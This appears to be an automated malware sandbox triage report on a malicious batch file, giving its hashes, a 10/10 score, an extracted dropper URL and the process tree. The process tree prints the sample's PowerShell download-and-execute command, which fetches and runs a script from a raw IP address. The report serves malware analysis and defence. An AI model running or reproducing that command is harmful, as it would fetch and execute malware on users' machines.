2bba8f17fc1ba279cde43a2555b981ff02d563e845d42800bb51973fe66b4a40 | Triage

Analysis

max time kernel
109s
max time network
132s
platform
windows10_x64
resource
win10v200430
submitted
01-06-2020 14:10

Sharing

Report Analysis Logs

General

Target

02025aebdb58d5c91227c70c8d753db5.bat
Size

217B
MD5

abbe954f66b1dd339f454ca325488e57
SHA1

ecbf3a90c0936599cb41a907bd278fb7f9c0dc23
SHA256

2bba8f17fc1ba279cde43a2555b981ff02d563e845d42800bb51973fe66b4a40
SHA512

674f4a11ca927f19e02d1940711ca082069fa226e31cad3456370e990151f681ff6a611b8b25f42fb366748f10899bf26907b35770e790c08209d2ca1b9a97f3

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/02025aebdb58d5c91227c70c8d753db5

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3752 2644 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3752 WerFault.exe
Token: SeBackupPrivilege 3752 WerFault.exe
Token: SeDebugPrivilege 3752 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe
3752	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\02025aebdb58d5c91227c70c8d753db5.bat"
1⤵
PID:2416

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/02025aebdb58d5c91227c70c8d753db5');Invoke-YKSOHGHYRH;Start-Sleep -s 10000"
2⤵
PID:2644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3752

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3752-0-0x0000000004F90000-0x0000000004F91000-memory.dmp

Filesize
4KB

Download
memory/3752-1-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download